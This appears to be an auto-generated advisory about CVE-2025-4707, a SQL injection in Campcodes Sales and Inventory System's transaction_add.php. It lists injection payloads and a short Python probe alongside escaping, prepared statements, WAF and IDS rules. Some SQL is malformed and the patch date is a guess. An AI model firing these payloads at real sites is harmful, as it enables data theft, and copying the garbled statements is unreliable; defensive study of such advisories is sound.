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How the CVE Works
CVE-2025-4707 is a critical SQL injection vulnerability in Campcodes Sales and Inventory System 1.0. The flaw resides in the `/pages/transaction_add.php` file, where improper sanitization of the `prod_name` parameter allows attackers to inject malicious SQL queries. Since the system fails to validate user-supplied input, an attacker can manipulate database queries remotely, potentially leading to unauthorized data access, modification, or deletion. The exploit is publicly available, increasing the risk of widespread attacks.
DailyCVE Form
Platform: Campcodes Sales
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Analytics:
- Attack Vector: Remote (HTTP)
- Exploit Complexity: Low
- Impact: Data Breach, System Compromise
- Affected Query Example:
SELECT FROM products WHERE name = '[bash]';
Exploitation Commands:
1. Basic SQLi Payload:
' OR '1'='1' --
2. Union-Based Exploit:
' UNION SELECT 1,2,3,user(),5 --
3. Blind SQLi Detection:
' AND SLEEP(5) --
Mitigation Steps:
1. Patch: Apply vendor update immediately.
2. Input Sanitization:
$prod_name = mysqli_real_escape_string($conn, $_POST['prod_name']);
3. Prepared Statements:
$stmt = $conn->prepare("INSERT INTO transactions (prod_name) VALUES (?)");
$stmt->bind_param("s", $prod_name);
4. WAF Rules:
SecRule ARGS:prod_name "@detectSQLi" "id:1001,deny"
Detection:
- Log monitoring for unusual SQL patterns.
- IDS Signature:
alert tcp any any -> $HTTP_SERVERS 80 (msg:"CVE-2025-4707 Exploit Attempt"; content:"prod_name="; pcre:"/(\%27|\')/"; sid:10001;)
Post-Exploit Analysis:
- Check database logs for unexpected queries.
- Audit user tables for unauthorized changes.
Emergency Workaround:
- Disable `/pages/transaction_add.php` if unused.
- Restrict IP access to admin panels.
Automated Scanner Snippet (Python):
import requests
url = "http://target/pages/transaction_add.php"
payload = {"prod_name": "' OR 1=1 --"}
response = requests.post(url, data=payload)
if "error" in response.text:
print("Vulnerable to CVE-2025-4707")
Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%'; GRANT SELECT ONLY ON sales_db. TO 'app_user'@'%';
Final Note:
- Assume compromise if unpatched.
- Prioritize credential rotation.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
